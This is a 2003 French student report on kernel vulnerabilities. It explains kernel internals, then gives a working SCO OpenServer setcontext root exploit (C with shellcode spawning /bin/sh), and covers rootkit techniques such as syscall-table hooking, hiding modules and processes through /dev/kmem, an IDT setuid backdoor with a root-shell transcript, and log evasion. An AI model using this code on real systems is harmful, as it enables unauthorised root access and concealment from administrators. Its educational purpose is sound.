Les vulnérabilités du noyau

LECORNET Olivier
LEGROS Bruno
VIGIER Nicolas
Promo 2005

27 Septembre 2003

Table des matières

Chapitre 1

Introduction

De nos jours, les systèmes d'information et les logiciels proposent des fonctionnalités de sécurité pour protéger les informations de plus en plus évolués mettant ainsi l'utilisateur en confiance et donnant l'illusion d'une sécurité maitrisée. Toutefois, derrière toutes ces solutions sécuritaires, se cachent des vices de fondations. En effet, le noyau, élément fondamental dans la gestion de la sécurité au sein de tout système d'infomation n'est pas exempt de failles, bien au contraire car même s'il devient de plus en plus complexe, de nombreuses vulnérabilités apparaissent.

En jouant des diverses vulnérabilités du noyau et en modifiant donc le coeur même du système d'exploitation, un hacker peut réaliser un exploit et controler tous les applicatifs qui tournent sur la machine. Il peut alors s'arranger pour présenter une vue biaisée de toutes les activitées du système et même faire en sorte de concerver ces droits le plus lontemps possible sans que l'administrateur ne s'en apercoive.

Nous commencerons donc par présenter rapidement le fonctionnement du noyau ainsi que les fonctionnalités de protection qu'il propose généralement. Puis nous verrons quelques vulnérabilités de noyau expoitables pour devenir utilisateur root sur la machine et nous finirons enfin par voir comment le hacker peut utiliser d'autres vulnérabilités du noyau pour entretenir et dissimuler ses privilèges aux yeux du réel administrateur.

Chapitre 2

Fonctionnement du noyau

Avant de commencer à voir comment il est possible d'utiliser des failles du noyau pour augmenter ses privilèges, nous allons voir quelques points importants dans le fonctionnement du noyau ainsi que quelques unes de ces composantes intervenant dans les détournements de droits.

2.1 Les modes de fonctionnements

Le modèle de reference d'un système d'exploitation est constitué de deux niveaux ou modes de fonctionnement.

2.1.1 Le mode noyau

C'est un mode privilégié dans lequel tourne le coeur même du système d'exploitation, il s'agit véritablement du noyau. Il dispose d'un accès et d'un contrôle complet à toutes les ressources matérielles ou logicielles du système. Il est découpé en de nombreux pôles de fonctionnalités (gestion de la mémoire, gestion des processus, ...). Chaque pôle peut mettre ses services directement à disposition des processus grâce à l'interface des appels systèmes.

2.1.2 Le mode utilisateur

C'est le mode dans lequel tournent les processus [1]. Chaque processus s'exécute en tant qu'un utilisateur donné, dans un contexte qui lui est propre. Il ne voit pas directement les autres processus. Il doit obligatoirement se référer au système d'exploitation par l'intermédiaire des appels systèmes pour accéder aux ressources systèmes ou communiquer avec les autres processus. Ces processus sont généralement créés par l'appel système fork(), et le fils ainsi créé par un appel à fork() est une copie conforme mais complètement indépendante du parent qui est toujours en exécution. De cette façon, chaque processus créé possède les mêmes paramètres que ceux de son père, notamment de son contexte de sécurité, c'est à dire de l'utilisateur sous lequel il s'exécutait.

[1] formes « vivantes » des programmes stockés sur disque

2.2 Fonctionnalités de sécurité et utilisateur root

Les systèmes actuels fournissent de nombreuses fonctionnalités de sécurité. Toutefois, ces fonctionnalités ne sont généralement pas implémentées au coeur du noyau, mais plutôt dans des applicatifs mode utilisateur fournis avec le système (par exemple login). D'un point de vue machine, rien ne différencie /bin/login d'autres programmes, le coeur du système d'exploitation ignore complètement le rôle crucial de login.

On peut se demander alors comment sont effectuées les opérations de sécurité nécessitées par /bin/login. Ces fonctionnalités n'étant pas considérées comme des opérations canoniques, elles ne sont pas implémentées dans le kernel du système, mais dans un ensemble de librairies dynamiques, et s'exécutant dans leur contexte.

Ainsi on voit que les fonctionnalités de sécurité offertes sont restreintes et la plupart des kernels actuels ne proposent des fonctionnalités que sur trois aspects :

- La protection des processus entre eux, notamment au niveau de la gestion mémoire. Ainsi, Les processus voulant communiquer doivent le faire grâce à d'autres fonctionnalités du noyau. La protection des processus est un élément extrêmement important des systèmes d'exploitation car c'est ce mécanisme qui assure entre autre qu'un processus n'entraîne pas d'autres processus dans sa chute.
- La gestion des identifiants d'utilisateurs (uid) et de groupes (gid).
- La sécurité du système de fichiers. C'est le noyau, au niveau des appels système qui gère les permissions sur les objets du système de fichiers au sens large. La notion d'identifiant utilisateur et de groupe est largement associée à la sécurité du système de fichiers.

Cette notion d'identifiant utilisateur et de groupe nous amène à voir un utilisateur particulier et important : le super utilisateur « root ».

Il est sans doute une des caractéristiques les plus connues des systèmes. Les utilisateurs sont gérés sous le modèle du tout ou rien :

- Les utilisateurs qui n'ont pas de privilèges, identifiés par leur login/mot de passe et de façon interne par un uid[2] sont restreints dans leurs actions sur les processus,fichiers, etc...
- L'utilisateur spécial dit « root » qui correspond en interne à l'uid 0 dispose de tous les pouvoirs sur tous les objets du système.
  1. manipulation complète de tous les objets du système de fichiers.
  2. accès sans restriction aux périphériques.
  3. accès complet à la mémoire utilisateur et noyau.

Tout programme lancé avec les privilèges root n'aura sur son chemin aucune barrière de sécurité.

2.3 Les modèles de mémoires

Voyons maintenant de quelle façon les applications organisent les données et les instructions au sein de la mémoire.

Pour cela, il y à 3 modes différents :

[2]entier unique strictement supérieur à 0

– Le mode d'adressage réel
– Le mode protégé
– Le mode virtuel

2.3.1 Le mode d'adressage réel (real mode)

Ce mode se caractérise par un adressage direct de la mémoire sous la forme de segment : offset et limité à 1 Mo. De l'adresse hexadécimale 00000 a FFFFF. Le processeur dans ce mode ne peut faire fonctionner qu'un programme à la fois.

Certes, mais que se passe-t-il si il y a une "urgence", par exemple imprimer un formulaire ? Afin que le programme ne reste pas sourd, les concepteurs ont prévu des interruptions qui permettent au programme de s'arrêter momentanément et de traiter le problème, puis de reprendre son activité.

C'est le mode d'adresse de MSDOS par exemple.

2.3.2 Le mode protégé (protected mode)

La différence avec le mode précédent est que le processeur peut faire fonctionner plusieurs programmes à la fois. On nomme ceci processus [3].

Chaque processus se voit allouer 4 Go de mémoire (plus qu'il n'en faut). L'intéret du mode protégé est, comme son nom l'indique, d'éviter que le programme voisin n'accède aux données ou instructions d'autres processus, de ce fait chaque processus est protégé.

MS Windows et Linux fonctionnent tous les deux en mode protégé.

2.3.3 Le mode virtuel 8086

Sous cette modalité, l'ordinateur est en fait dans un mode protégé et crée ce que l'on nomme une "machine virtuelle" qui ressemble à un ancien ordinateur (80x86) fonctionnant en mode réel.

2.4 Les Appels Systemes

Les appels systèmes manipulent des descripteurs de fichiers qui sont référencés par des entiers. Ces primitives utilisent des tampons qui ne sont pas accessibles à l'utilisateur et qui sont partagés par tous les processus. La taille de ces tampons est directement liée aux périphériques utilisés.

2.5 Les interruptions

Une interruption est un signal matériel qui permet d'interrompre l'exécution du programme en cours. Par exemple, le système d'exploitation ne va pas aller regarder en permanence si

[3] programme "activé" , qui est en train d'être éxécuté et qu'il faut mettre en mémoire

l'utilisateur a pressé une touche, mais c'est plutôt le contrôleur du clavier qui va envoyer une interruption au processeur pour stopper l'éxécution du programme en cours. Les interruptions sont donc capitales dans le fonctionnement du système d'exploitation.

2.5.1 Différents types d'interruption

Sur les ordinateurs PC à base de processeur Intel et compatibles, les interruptions peuvent venir de trois sources :

- *les exceptions* sont des interruptions générées par le processeur lui même en raison d'une erreur lors de l'exécution du programme. On peut citer le *Page Fault*, *le Double Fault*, *le General Protection Fault*, *le Divide by zero*. Elles sont au nombre de 32, toutes n'étant pas utilisées, mais réservées par le processeur.
- *les IRQ* sont des interruptions générées par les périphériques matériels : disque dur, clavier, timer, souris, carte son, carte réseau. Elles permettent de signaler un évènement tel qu'un mouvement de souris, l'appui sur une touche ou la fin d'un transfert sur le disque. Elles sont au nombre de 16.
- *les interruptions logicielles* sont des interruptions générées directement par les programmes. Elles sont en général utilisées pour les syscalls, qui permettent aux applications utilisateur d'utiliser les fonctionnalités du noyau.

Il convient de gérer les interruptions provenant de ces différentes sources, c'est à dire d'associer un traitant (handler) à chacune de ces interruptions. Les exceptions sont toujours les interruptions 0 à 31 (inclus). Pour les IRQ[4], on doit programmer un chip et lui indiquer quelles sont les interruptions liées aux IRQ.

2.5.2 La table des interruptions

La table des interruptions est une table contenant au plus 256 entrées de 8 octets, chacune d'entre elles correspondant à une interruption. L'adresse de cette table, appelée IDT (Interrupt Descriptor Table) est contenue dans le registre de 48 bits IDTR, auquel on peut accéder via les instructions lidt et sidt.

2.5.3 Les différents descripteurs d'interruptions

Chaque entrée de l'IDT est un descripteur d'interruption. Il précise le traitant à éxécuter lorsque l'interruption survient.

Il existe trois types de descripteur :

- *Trap gate* : appelle le traitant dont l'adresse est donnée dans le descripteur sans désactiver les interruptions.
- *Interrupt gate* : appelle le traitant dont l'adresse est donnée dans le descripteur après avoir désactivé les interruptions.
- *Task gate* : appelle le traitant qui est décrit par un TSS (segment d'état de tâche). L'entrée dans l'IDT comprend donc un sélecteur de segment de type TSS, qui contient l'index du TSS, ainsi que le bit sélectionnant si le TSS est dans la GDT (global descriptor table) ou dans la LDT (local descriptor table).

[4]Les interruptions declenchées par un périphérique matériel

La plupart du temps, on utilise soit des *trap gates* soit des *interrupt gates*. L'utilisation d'un *task gate* ralentit le traitement de l'interruption, puisqu'un changement de contexte complet a lieu pour chaque interruption générée. Les *task gates* sont donc réservées à l'utilisation des cas extrêmes comme la gestion de l'exception *Double Fault*.

2.5.4 Les interruptions en mode réel

En mode réel, la gestion des interruptions est assez similaire à celle en mode protégé, en plus simple. Le registre IDTR pointe sur l'IVT (Interrupt Vector Table) située par défaut à l'adresse 0. Cette table contient simplement des entrées de 4 octets, 2 octets pour le sélecteur de segment et 2 octets pour l'offset. Chaque entrée décrit une interruption.

Il est intéressant de noter que de nombreuses interruptions sont par défaut routées vers des fonctions du BIOS. Par exemple l'interruption 0x10 permet d'accéder aux fonctions graphiques du BIOS, tandis que l'interruption 0x13 permet d'accéder aux fonctions de lecture/écriture sur les disques durs. Ces interruptions sont bien connues des programmeurs DOS. Elles sont inutilisables en mode protégé.

Chapitre 3

Exploitation d'une vulnerabilite kernel pour obtenir l'accès root

3.1 Les dépassements de pile en mode noyau

Comme pour les programmes classiques en mode utilisateur, il est possible pour du code fonctionnant en mode noyau de profiter d'un manque de verifications sur la taille de certains buffers pour dépasser la pile du noyau et écraser certaines zones de mémoire.

Un appel systeme lorsqu'il est appellé recoit plusieurs valeurs qui lui sont passées en argument, il peux par exemple recevoir un pointeur sur une zone memoire contenant du texte ainsi qu'un entier définissant la taille de ce texte. Dans certains cas l'appel système peux avoir besoin de copier cette zone mémoire sur la pile du noyau, c'est alors à l'appel système de vérifier que la pile dispose de suffisement de mémoire disponible, et de copier correctement cette zone mémoire, et c'est ici qu'une erreur dans la vérification pourrait donner lieux au dépassement de la pile, ce qui pourrait permettre dans certains cas à un programme utilisateur de modifier l'addresse de retour.

3.1.1 L'exemple de l'appel systeme *select* dans OpenBSD

Pour comprendre ce genre de vulnérabilités nous allons regarder l'exemple du code vulnerable de l'appel systeme *select* de OpenBSD, qui a recemment été presenté en detail dans un article de phrack ("Smashing The Kernel Stack For Fun And Profit").

select est un appel systeme qui permet d'ecouter sur une suite de socket ouverts, et de se débloquer dés qu'au moins l'un d'eux deviens disponible en lecture ou écriture. Cet appel système permet par exemple de créer un serveur qui écoutera sur un socket, acceptant plusieurs connections, sans avoir besoin de créer plusieurs thread. *select* prend donc en parametre 3 fd_set* et un int qui représente la valeur plus 1 du plus grand descripteur de fichiers des 3 sets.Dans le code de l'appel systeme une verification est effectué sur l'entier qui est passé à *select* qui ne doit pas être plus grand que le nombre de déscripteurs de fichiers ouverts par le processus. L'erreur qui a étée faite par les developpeurs est de ne pas voir que ce paramètre est un int, et donc qu'il peux être negatif, donc inferieur au nombre de fichiers ouverts par le processus, tout en correspondant à un grand nombre en étant convertis en entier non signé. A partir de cette valeur est calculée la taille du buffer qui doit être copié sur la pile du noyau. Cette taille est

comparée avec l'espace disponible sur la pile du noyau, et s'il n'y a pas suffisement d'espace, une allocation de memoire supplementaire est effectué. Mais lorsque le 1er parametre passé a select est un nombre negatif, la taille du buffer à copier est negatif, ce qui fait qu'aucune memoire supplementaire n'est allouée. La copie de mémoire ira donc trop loin et dépasera alors la limite de la pile, écrasant ce qui se trouvait derriere par nos données. C'est ici qu'un kernel stack overflow est alors exploitable pour controler le comportement de l'appel systeme, qui fonctionne en mode noyau.

3.2 Setcontext sur SCO OpenServer 5.0.4-5.0.6

Setcontext est un appel système dont le prototype est :

```
setcontext(ucontext_t *ucp)
```

Cet appel système est utilisé pour switcher entre les différents threads d'exécution sans processus. Son but principal est donc de restaurer le contexte de l'utilisateur qui est pointé par le paramètre *ucp*. Lorsque l'appel système réussit, il n'a pas de retour, l'exécution du programme se poursuit donc jusqu'au point spécifié par le contexte passé en argument.

Voici la structure de contexte :

```
typedef struct mcontext{
    int     regs[NUM_SYSREGS]; /* registres CPU */
    union   u_fps   fp;        /* registres d'unité de virgule flottante */
    long    weitek[WTK_SAVE];  /* registres weitek coprocesseurs */
} mcontext_t;

typedef struct ucontext {
    unsigned long   uc_flags;
    struct ucontext *uc_link;       /* contexte précédent */
    sigset          uc_sigmask;     /* masque de signaux */
    long            uc_maskfill[3];
    stack_t         uc_stack;       /* pile d'état */
    mcontext_t      uc_mcontext;    /* contexte de la machine */
    long            uc_filler[5];
} ucontext_t;
```

Pour changer correctement de contexte, il faut d'abord prendre le contexte courant avec l'appel de getcontext(). Ainsi, une structure ucontext est remplie correctement. Ensuite, il faut modifier 2 registres du CPU. le registre de segment %cs que l'on met à KCSSEL et le registre %eip que l'on place au début du code assembleur.

```
ucontext_t uc; getcontext(&uc); uc.uc_mcontext.regs[CS]=KCSSEL;
uc.uc_mcontext.regs[EIP]=(unsigned int)asmcode;
```

En exécutant setcontext(&uc), les valeurs des registres que l'on vient de modifier sont mises en place. Avec les modifications qui viennent d'être effectuées, le processus ne revient pas avec les droits utilisateur mais restera sans protection (aucune restriction). Maintenant, l'asmcode[] que l'utilisateur a fourni sera aussi exécuté et il changera l'identité réelle de l'utilisateur du processus.

Après la modification des privilèges du processus, l'asmcode [] renvoie en mode utilisateur à l'endroit où setcontext avait été appelé. Dans le même temps, le niveau de protection du processus est mis à 3. Ce switch est effectué en exécutant l'instruction à la fin de la procédure asmcode. Il récupère de la pile les nouvelles valeurs de segment (%ss, %cs), la pile (%esp) et les registres (%eip) de pointeur d'instruction.

L'exécution de l'instruction lret engendrera le changement du mode du processus qui sera en mode utilisateur puisque c'est ce mode qui a été sauvegarder sur la pile au début. Nous reviendrons donc à la position ou le programme s'était interrompu, c'est à dire la ou la fonction setcontext a été appelée. Mais on a modifié certaines valeurs du context au début (les registres %ecx et %ebx) le context est donc modifié et le mode du processus aussi.

```
0x6a,USER_DS,   /* pushl 0x?? */
0x51,           /* pushl %ecx */
0x6a,USER_CS,   /* pushl 0x?? */
0x53,           /* pushl %ebx */
0xcb            /* lret */
```

Remarque : Pour obtenir des valeurs correctes dans les registres %ecx et %ebx, l'appel a setcontext (&uc) ne doit pas être appelée avec un langage de haut niveau (C, ...), mais directement à partir d'un code d'assembleur.

Donc pour résumer :

Pour commencer, la séquence de code assembleur dans la chaîne code[] est exécuté. L'appel système setcontext initialise les registres %ecx et %ebx avec les nouvelles valeurs qu'il faut. Ensuite, Le contexte du processus courant est modifié ce qui a pour effet d'exécuter l'asmcode[] en mode administrateur. il modifie le champs u_uid de la structure user_t et le processus revient en mode utilisateur avec l'utilisation de l'instruction lret et en sauvegardant les valeurs de %esp et %eip sur la pile. Le mode utilisateur revient donc sur l'instruction ret de la chaine code[]. Apres cela, la commande shell est exécutée.

Ci-dessous un listing exemple :

```
#include <sys/types.h>
#include <sys/sysi86.h>

#include <sys/seg.h>
#include <sys/regset.h>
```

```
#include <sys/signal.h>
#include <ucontext.h>

#include <sys/user.h>
#include <sys/immu.h>

#define ofs(s,m) (unsigned int)(&(((s*)0)->m))

#define ofsreg(r) (ofs(ucontext_t,uc_mcontext.regs[r]))

#define ofsuid() (ofs(user_t,u_uid))

#define adr(a) (char)(a),(char)(a>>8),(char)(a>>16),(char)(a>>24)

char asmcode[]=
{
    0x33, 0xc0,                   /* xorl %eax, %eax */
    0xa3, adr(UVUBLK+ofsuid()),   /* movl %eax, ($0x????????) */
    0x6a, USER_DS,                /* pushl 0x?? */
    0x51,                         /* pushl %ecx */
    0x6a, USER_CS,                /* pushl 0x?? */
    0x53,                         /* pushl %ebx */
    0xcb                          /* lret */
};


void    main(int argc,char **argv)
{
    ucontext_t uc;

    getcontext(\&uc);
    uc.uc_mcontext.regs[CS]=KCSSEL;
    uc.uc_mcontext.regs[EIP]=(unsigned int)asmcode;

    {
        char code[]=
        {
            0x8b,0x74,0x24,0x04,    /* movl 4(%esp), %esi */
            0xe8,0x01,0,0,0,        /* call <code+10> */
            0xc3,                   /* ret */
            0x5b,                   /* popl %ebx */
            0x89,0x5e,ofsreg(EBX),  /* movl %ebx, ??(%esi) */
            0x89,0x66,ofsreg(ECX),  /* movl %esp, ??(%esi) */
            0x56,                   /* pushl %esi */
            0x6a,SETCONTEXT,        /* pushl ?? */
            0x6a,0,                 /* pushl $0x00 */
            0xb8,0x64,0,0,0,        /* movl $0x64, %eax */
            0x9a,0,0,0,0,0x07,0     /* lcall 0x07,0x00000000 */
```

```
        };
        ((void(*)())code)(&uc);
    }

    execl("/bin/sh", "lsd", 0);
}
```

Chapitre 4

Entretien de l'accès root par des vulnérabilitées

Maintenant que nous sommes parvenus à élever nos privilèges avec les méthodes cités auparavant utilisant les failles du noyau, nous allons aborder les moyens et l'utilisation d'autres techniques pour maintenir ces privilèges sur le système sans se faire repérer par le vrai administrateur.

4.1 Utilisation des LKM

LKM : Loadable Kernel Module.
Les modules du noyau sont des librairies que l'on peut charger dans le noyau lorsque celui-ci a besoin d'une certaine fonctionnalité. Une fois chargés, les modules font partie intégrante du noyau et ajoutent leurs fonctions à celles existantes du noyau. On rajoute des modules pour ne pas avoir à recompiler entièrement le noyau. Ces librairies sont normalement stockées dans le répertoire /lib/modules/version/ pour Linux, où version est le numéro de version du noyau pour lequel ces modules ont été créés. Beaucoup de fonctionnalités du noyau peuvent être configurées pour être utilisées sous la forme de modules.

Les modules sont exécutés dans l'espace mémoire du noyau :

- ils possèdent un contrôle total de la machine.
- ils peuvent détourner ou créer un appel système.

Les modules ont à la fois des avantages et des inconvénients :

- ils permettent aux administrateurs d'optimiser la sécurité du système : mettre à jour un pilote, surveillance de l'activité du système (fichiers LOG).
- ils permettent de charger ou décharger des fonctionnalités sans recompiler le noyau.
- ils permettent également aux pirates d'attaquer la sécurité du système : appels système néfastes, accès aux fichiers LOG (modifications, suppression), changement des droits, lancement de processus cachés, mise en place de portes dérobées...

C'est ce dernier point que nous allons étudier. Bien évidement, il faut avoir les droits d'administrateur (root) pour pouvoir charger ou décharger ces modules.

4.1.1 Interception et manipulation des appels systèmes

Le but ici est d'intercepter les appels systèmes pour les détourner de leur comportement habituel.

4.1.2 Intercepter les syscalls

L'intéret d'intercepter les syscalls est de pouvoir changer leur ordre pour que le système réagisse de manière différente.

L'approche générale pour l'interception d'un appel système est la suivante :

Créer un module qui effectuera les étapes suivantes :

- Trouver le syscall dans
  `sys_call_table []`
  que l'on veut remplacer (include/sys/syscall.h)

- Sauvegarder le vrai Syscall X qui se trouve dans
  `sys_call_table[X]`
  (avec X le numero du Syscall a intercepter). L'intéret de sauvegarder le vrai syscall est de pouvoir appeler ce syscall pour paraître transparent.

- Mettre dans
  `sys_call_table[X]`
  le nouveau syscall que l'on a défini pour remplacer l'original.

Il faut ensuite charger le module. Ainsi l'appel du syscall X n'appelera pas l'original mais bien celui par lequel il a été remplacé. Si l'on décharge le module, tout rentre dans l'ordre et le syscall original reprend sa place dans la table.

4.2 Rendre les modules invisibles

Maintenant que nous avons vu un des intérets de ces modules pour pouvoir effectuer n'importe quelle commande de façon détournée, il ne faut pas que l'administrateur trouve ce module, et le supprime.

L'idée est de charger le module, puis de le décharger mais en oubliant de le décharger en mémoire. Le code du module restera en mémoire et ne se fera jamais écraser par un autre étant donné que la mémoire est toujours allouée et les appels systemes déviés se feront encore

normallement. Il faut pour cela réaliser une nouvelle version de sys_remove_module.

Le seul moyen pour décharger ce module est de rebooter la machine ou bien de créer un nouveau module qui réinstalle les backup des appels systèmes détournés.

4.3 Dissimulation de processus

Une autre possibilité des modules est de cacher des processus, et donc de les cacher à l'administrateur.

Un outil comme **ps** ou autres outils d'analyse de processus n'utilisent pas d'appels système particulier pour obtenir La liste des processus actuels. La liste des processus se trouvent dans /proc/ ou les noms de processus correspondent à leur PID. À l'intérieur de ces répertoires on trouve les fichiers qui fournissent n'importe quelle information sur le processus considéré. Ainsi 'ps' fait simplement une espèce de **ls** sur /proc/. Il doit donc utiliser Sys_getdents(). Il faut donc juste trouver le PID du processus correspondant á celui que l'on veut dissimuler dans /Proc/.

Il existe bien d'autres possibilités offertes par les modules chargeables mais nous ne les aborderons pas toutes ici[1].

4.4 Insertion à la volée de code dans le noyau linux sans les LKM

Supposons que vous avez réussi à devenir root sur une machine et que vous souhaitez le rester. Vous allez alors charger votre module *rootkit*. Mais encore faut-il qu'il passe inapperçu. Nous allons voir qu'il est possible de la cacher même sans support natif des LKM.
Il est également possible de modifier les appels systèmes dans le noyau afin d'exécuter du code.

Nous allons nous intéresser dans ce chapitre au périphérique */dev/kmem* qui est en lecture/écriture uniquement pour le super utilisateur. Ce fichier spécial référence toute la mémoire virtuelle, swap y compris, disponible sur la machine.

4.4.1 Modifier la structure du noyau pour cacher des modules

L'algorithme est le suivant :

- ouvrir /dev/kmem
- se déplacer jusqu'à l'adresse du symbole *task* (trouvée à l'aide de /dev/ksyms)
- lire la table des tâches dans la mémoire
- repérer la tâche que l'on veut modifier

[1] cf. (nearly) Complete Linux Loadable Kernel Modules pour plus d'informations

– modifier la tâche pour renvoyer l'uid d'un super utilisateur (0)
– se déplacer jusqu'à la tâche dans le fichier
– y écrire la tâche modifiée

Un exemple d'application de cette algorithme est de modifier la structure du noyau pour qu'il n'affiche plus un module spécifique dans la liste des LKM :

```
/usr/include/linux/module.h
[...]
struct module {
        struct module *next;
        struct module_ref *ref; /* the list of modules that refer to me */
        struct symbol_table *symtab;
        const char *name;
        int size;                       /* taille du module en pages */
        void* addr;                     /* adresse du module */
        int state;
        void (*cleanup)(void);          /* routine de nettoyage */
};
[...]

/usr/src/linux-2.0.35/kernel/module.c
[...]
/*
 * appelé par le système de fichier /proc pour retourner la liste actuelle
 * des modules
 */
int get_module_list(char *buf)
{
[...]
  q = mp->name;
  if (*q == '\0' && mp->size == 0 && mp->ref == NULL)
    continue; /* ne pas lister les modules */
[...]
}
```

Il suffit donc de patcher la structure du module qu'on veut cacher en lui mettant son nom à chaîne vide, sa taille à 0 et sa référence à NULL. Ainsi il n'apparaîtra pas lors d'un *lsmod*.

4.4.2 Remplacer les appels systèmes noyau, sys_call_table[]

Il faut accéder à la table des appels systèmes par exemple avec l'algorithme vu prédédemment et soit remplacer un appel existant, soit utiliser un appel système non attribué.

Exemple :

```
/* l'appel système original */
int (*old_write) (int, char *, int);
```

```
/* le nouvel appel système */
new_write(int fd, char *buf, int count) {
  if (fd == 1) {  /* stdout ? */
    /* mettez ici le code que vous voulez */
    old_write(fd, "Hello world!\n", 13);
    return count;
  } else {
    return old_write(fd, buf, count);
  }
}

/* enregistrer l'ancien */
old_write = (void *) sys_call_table[__NR_write];

/* mettre en place le nouveau */
sys_call_table[__NR_write] = (ulong) new_write;
```

4.5 Manipuler la table des descripteur d'interruptions (IDT)

Nous allons ici donner un exemple pour changer les droits d'un processus en root en utilisant l'appel système setuid :
Il faut modifier le *handler* de setuid dans la IDT et le remplacer par :

```
asmlinkage void set_uid_root(struct pt_regs * regs,unsigned long fd_task)
        {
        struct task_struct *set_uid = &((struct task_struct *) fd_task)[0];
        if (regs->ebx == 12345 )
                {
                my_task->uid=0;
                my_task->gid=0;
                my_task->suid=1000;
                }
        }
```

ensuite :

```
bash-2.05\$ cat setuid.c
#include <stdio.h>
int main (int argc,char ** argv)
    {
    setuid(12345);
    system("/bin/sh");
```

```
    return 0;
    }
bash-2.05\$ gcc -o setuid setuid.c
bash-2.05\$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
```

4.6 Détournement de fonction noyau (hijacking)

La prémisse de cette attaque est de remplacer les premiers octets de la fonction originale par un *jump* assembleur vers la fonction de remplacement. Voici l'algorithme :

- sauver les 7 octets de la fonction originale pour une utilisation future
- remplacer les 7 premiers octets de la fonction originale par un *jump* sur la nouvelle fonction

Le *jump* assembleur utilise un *jump* direct :

```
movl \$address_to_jump,\%eax
jmp *\%eax
```

Exemple d'utilisation :
On peut par exemple patcher la fonction *acct_process* décrite dans kernel/sys.c. Cette fonction est chargée de logger les processus.
On peut par exemple modifier l'appel system kill pour que quand on envoie une interruption de code -31 sur un processus il active un *flag* sur le processus. On modifie également le code de *acct_process* pour qu'il ne logge pas le processus quand il détecte ce *flag*. Ainsi le processus n'est plus loggé et devient invisible.
De plus, le fork copiant les flags processus, ils sont aussi invisibles.

Chapitre 5

Conclusion

Nous voyons donc qu'il existe plusieurs types d'exploits possibles dus à d'enventuels bugs du noyau. Memes si de telles vulnerabilités ne sont pas découvertes tous les jours, on peux voir la difficulté que l'on peux avoir à garantir qu'un utilisateur très experimenté (ou ayant réussir à obtenir un 0dayz) auquel on aura donné acces à un shell sur une machine ne parviendrat pas à passer root. Il est important egalement de savoir qu'un *chroot* d'un programme dans un repertoire vide du systeme de fichier n'est pas une sécurité absolue puisque s'echaper d'un chroot n'est pas quelquechose d'impossible lorsqu'on est parvenu a passer root. Neamoins il éxiste des patchs pour le noyau Linux tels que grsecurity qui permettent de limiter voir d'empecher l'utilisation de certaines techniques.

Chapitre 6

References

6.1 Bibliographie

- **(nearly) Complete Linux Loadable Kernel Modules**
  La référence pour tout savoir les les modules.
- **MISC mag numero 9**
  Chroot : 7 manières de briser la prison de verre
- **The Design and Implementation of the 4.4BSD Operating System**
  Pour tout savoir sur le fonctionnement du noyau 4.4BSD.

6.2 Webliographie

- **http ://ouah.kernsh.org/**
  De nombreux documents sur le hacking et la sécurité.
- **http ://kos.enix.org/ d2/snapshots/kos-doc_current/kos_book/kos_book-html/kos_book.ht**
  KOS Kernel Hacker's Guide
- **http ://www.big.net.au/ silvio**
  La page de Silvio Cesare qui a beaucoup travaillé sur la modification de code noyau à la volée.
- **http ://www.phrack.org/phrack/60/p60-0x06.txt**
  Smashing The Kernel Stack For Fun And Profit - Un article publié dans Phrack sur un dépassement de pile dans le noyau avec l'appel système *select* d'OpenBSD.
- **http ://lsd-pl.net/kernel_vulnerabilities.html**
  Kernel Level Vulnerabilities, 5th Argus Hacking Challenge